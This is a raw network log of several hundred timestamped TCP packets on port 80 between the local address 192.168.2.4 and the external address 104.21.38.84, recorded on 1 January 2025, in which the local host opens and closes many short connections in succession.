Jan 1, 2025 15:20:05.120516062 CET	50252	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.120537996 CET	50251	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.125454903 CET	80	50252	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:05.125863075 CET	50252	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.125945091 CET	80	50251	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:05.125977993 CET	50252	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.127067089 CET	50251	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.130774021 CET	80	50252	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:05.483011007 CET	50252	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.487924099 CET	80	50252	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:05.574445009 CET	80	50252	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:05.623569965 CET	50252	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.838686943 CET	80	50252	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:05.889180899 CET	50252	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.964796066 CET	50252	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.965514898 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.969861984 CET	80	50252	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:05.969914913 CET	50252	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.970287085 CET	80	50253	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:05.970345974 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.970417976 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:05.975210905 CET	80	50253	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:06.326782942 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:06.331562996 CET	80	50253	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:06.414386988 CET	80	50253	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:06.488281965 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.483802080 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.484237909 CET	50254	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.549130917 CET	80	50253	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.549156904 CET	80	50253	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.549165964 CET	80	50253	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.549232960 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.549232960 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.549324989 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.550656080 CET	80	50254	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.550709963 CET	80	50253	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.550728083 CET	50254	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.550816059 CET	50254	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.550976038 CET	50253	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.560615063 CET	80	50254	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.611145020 CET	50255	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.616149902 CET	80	50255	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.616275072 CET	50255	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.616422892 CET	50255	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.621164083 CET	80	50255	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.904917002 CET	50254	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.909873009 CET	80	50254	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.909888029 CET	80	50254	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:07.967359066 CET	50255	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:07.972138882 CET	80	50255	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:08.029861927 CET	80	50254	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:08.069271088 CET	80	50255	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:08.123564959 CET	50255	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.152940035 CET	50254	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.193383932 CET	80	50254	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:08.244170904 CET	80	50255	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:08.297555923 CET	50255	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.342319012 CET	50254	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.603163958 CET	50254	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.603447914 CET	50255	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.604111910 CET	50256	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.608156919 CET	80	50254	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:08.608342886 CET	50254	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.608419895 CET	80	50255	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:08.608930111 CET	80	50256	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:08.608958960 CET	50255	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.612991095 CET	50256	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.616914034 CET	50256	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.621691942 CET	80	50256	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:08.968930960 CET	50256	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:08.973843098 CET	80	50256	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:09.133316040 CET	80	50256	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:09.186189890 CET	50256	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:09.384017944 CET	80	50256	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:09.436048985 CET	50256	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:09.512901068 CET	50257	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:09.517787933 CET	80	50257	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:09.518311024 CET	50257	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:09.518516064 CET	50257	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:09.523335934 CET	80	50257	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:09.873730898 CET	50257	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:09.878563881 CET	80	50257	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:09.971616983 CET	80	50257	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:10.154814959 CET	50257	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:10.224896908 CET	80	50257	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:10.338521004 CET	50257	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:10.339298964 CET	50258	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:10.343657017 CET	80	50257	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:10.343713999 CET	50257	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:10.344167948 CET	80	50258	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:10.344248056 CET	50258	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:10.344353914 CET	50258	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:10.349081039 CET	80	50258	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:10.702178955 CET	50258	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:10.707086086 CET	80	50258	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:10.816437006 CET	80	50258	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:10.886509895 CET	50258	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:11.078969002 CET	80	50258	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:11.154844999 CET	50258	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:11.263345957 CET	50258	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:11.268429041 CET	80	50258	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:11.268925905 CET	50258	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:11.271392107 CET	50259	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:11.276315928 CET	80	50259	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:11.276918888 CET	50259	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:11.278397083 CET	50259	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:11.283134937 CET	80	50259	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:11.623750925 CET	50259	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:11.629235983 CET	80	50259	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:11.759879112 CET	80	50259	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:11.812886000 CET	50259	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:11.928898096 CET	80	50259	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:11.984883070 CET	50259	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.032922983 CET	50256	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.040882111 CET	50259	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.041239977 CET	50260	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.045861006 CET	80	50259	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:12.045980930 CET	80	50260	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:12.045994043 CET	50259	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.046052933 CET	50260	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.046238899 CET	50260	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.050967932 CET	80	50260	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:12.404887915 CET	50260	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.409857988 CET	80	50260	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:12.498565912 CET	80	50260	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:12.597645044 CET	50260	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.669862986 CET	80	50260	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:12.748550892 CET	50260	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.796799898 CET	50260	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.797575951 CET	50261	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.801877975 CET	80	50260	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:12.801933050 CET	50260	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.802376986 CET	80	50261	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:12.802434921 CET	50261	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.802561045 CET	50261	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:12.807332993 CET	80	50261	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.154896975 CET	50261	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.159835100 CET	80	50261	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.219877958 CET	50262	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.220313072 CET	50261	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.224776983 CET	80	50262	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.224848032 CET	50262	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.225332022 CET	80	50261	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.225382090 CET	50261	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.228799105 CET	50262	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.233664989 CET	80	50262	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.358364105 CET	50263	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.363236904 CET	80	50263	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.363303900 CET	50263	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.363435030 CET	50263	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.368155003 CET	80	50263	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.576833963 CET	50262	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.581671000 CET	80	50262	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.581800938 CET	80	50262	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.688282013 CET	80	50262	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.720882893 CET	50263	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.725667000 CET	80	50263	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.732949018 CET	50262	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.828003883 CET	80	50263	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.874221087 CET	80	50262	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:13.920880079 CET	50262	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:13.952877998 CET	50263	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.090682983 CET	80	50263	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:14.140872955 CET	50263	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.212471008 CET	50262	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.212860107 CET	50263	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.213383913 CET	50264	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.217519045 CET	80	50262	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:14.217885017 CET	80	50263	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:14.217962027 CET	50263	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.217963934 CET	50262	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.218170881 CET	80	50264	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:14.218238115 CET	50264	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.220880032 CET	50264	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.225704908 CET	80	50264	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:14.576738119 CET	50264	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.581634998 CET	80	50264	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:14.664341927 CET	80	50264	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:14.717288971 CET	50264	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:14.916960001 CET	80	50264	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:14.967297077 CET	50264	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.043963909 CET	50265	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.048922062 CET	80	50265	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:15.048991919 CET	50265	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.049165010 CET	50265	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.053936958 CET	80	50265	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:15.404896975 CET	50265	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.410264015 CET	80	50265	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:15.505110979 CET	80	50265	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:15.640873909 CET	50265	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.755083084 CET	80	50265	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:15.952425957 CET	50265	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.960872889 CET	50265	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.965923071 CET	80	50265	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:15.972881079 CET	50265	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.990789890 CET	50266	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:15.995636940 CET	80	50266	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:16.000144958 CET	50266	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.000144958 CET	50266	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.005383015 CET	80	50266	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:16.360869884 CET	50266	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.365855932 CET	80	50266	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:16.503181934 CET	80	50266	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:16.628865004 CET	50266	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.767020941 CET	80	50266	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:16.851521969 CET	50266	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.887211084 CET	50266	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.888181925 CET	50267	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.892376900 CET	80	50266	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:16.892426014 CET	50266	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.892966986 CET	80	50267	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:16.893026114 CET	50267	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.893122911 CET	50267	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:16.897950888 CET	80	50267	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:17.248651981 CET	50267	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.253606081 CET	80	50267	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:17.345566034 CET	80	50267	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:17.389287949 CET	50267	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.514179945 CET	80	50267	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:17.561022043 CET	50267	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.634691954 CET	50267	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.635231018 CET	50264	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.635231018 CET	50233	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.635407925 CET	50268	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.639848948 CET	80	50267	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:17.640161991 CET	80	50268	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:17.640252113 CET	50267	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.640254021 CET	50268	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.640399933 CET	50268	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:17.645184994 CET	80	50268	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:17.998712063 CET	50268	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.004447937 CET	80	50268	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:18.084659100 CET	80	50268	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:18.156860113 CET	50268	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.254388094 CET	80	50268	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:18.344857931 CET	50268	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.492851973 CET	50268	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.494920015 CET	50269	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.497945070 CET	80	50268	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:18.498930931 CET	50268	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.499769926 CET	80	50269	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:18.502619982 CET	50269	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.505839109 CET	50269	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.510651112 CET	80	50269	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:18.857966900 CET	50269	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.862924099 CET	80	50269	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:18.890125990 CET	50269	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.890799046 CET	50270	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.895203114 CET	80	50269	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:18.895251989 CET	50269	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.895605087 CET	80	50270	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:18.895663977 CET	50270	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.895797968 CET	50270	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:18.900552988 CET	80	50270	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.013412952 CET	50271	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.021018028 CET	80	50271	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.021078110 CET	50271	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.021214008 CET	50271	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.026375055 CET	80	50271	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.248780966 CET	50270	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.253796101 CET	80	50270	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.253856897 CET	80	50270	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.349467993 CET	80	50270	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.373667002 CET	50271	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.378511906 CET	80	50271	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.389168978 CET	50270	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.464688063 CET	80	50271	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.596416950 CET	50271	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.601567984 CET	80	50270	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.654879093 CET	50270	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.729302883 CET	80	50271	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.851998091 CET	50272	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.851999044 CET	50270	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.852000952 CET	50271	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.857008934 CET	80	50272	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.857285023 CET	80	50270	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.857358932 CET	50272	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.857363939 CET	50270	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.857466936 CET	50272	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.857572079 CET	80	50271	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:19.858932018 CET	50271	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:19.862270117 CET	80	50272	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:20.203280926 CET	50272	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:20.208273888 CET	80	50272	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:20.330502987 CET	80	50272	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:20.451771975 CET	50272	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:20.506541967 CET	80	50272	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:20.507332087 CET	50272	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:20.512414932 CET	80	50272	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:20.512615919 CET	50272	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:20.624232054 CET	50273	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:20.629127026 CET	80	50273	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:20.629210949 CET	50273	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:20.629328012 CET	50273	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:20.634160042 CET	80	50273	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:21.017005920 CET	50273	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:21.021899939 CET	80	50273	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:21.077079058 CET	80	50273	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:21.116969109 CET	50273	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:21.276540995 CET	80	50273	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:21.326642036 CET	50273	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:21.403266907 CET	50273	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:21.404074907 CET	50274	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:21.408349991 CET	80	50273	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:21.408404112 CET	50273	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:21.408910990 CET	80	50274	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:21.408987999 CET	50274	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:21.409127951 CET	50274	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:21.413918018 CET	80	50274	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:21.764481068 CET	50274	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:21.769490957 CET	80	50274	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:21.856062889 CET	80	50274	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:21.904850960 CET	50274	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:22.037715912 CET	80	50274	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:22.092262983 CET	50274	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:22.150015116 CET	50274	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:22.150017977 CET	50275	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:22.156465054 CET	80	50275	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:22.156557083 CET	50275	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:22.156728983 CET	80	50274	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:22.156747103 CET	50275	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:22.156837940 CET	50274	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:22.163024902 CET	80	50275	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:22.516850948 CET	50275	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:22.521761894 CET	80	50275	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:22.630342960 CET	80	50275	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:22.760867119 CET	50275	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:22.891510010 CET	80	50275	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:23.001811028 CET	50275	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.011301994 CET	50275	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.011998892 CET	50276	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.016467094 CET	80	50275	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:23.016514063 CET	50275	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.016855001 CET	80	50276	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:23.016916037 CET	50276	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.017040014 CET	50276	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.021856070 CET	80	50276	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:23.374773026 CET	50276	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:20:23.379754066 CET	80	50276	104.21.38.84	192.168.2.4
Jan 1, 2025 15:20:23.471767902 CET	80	50276	104.21.38.84	192.168.2.4
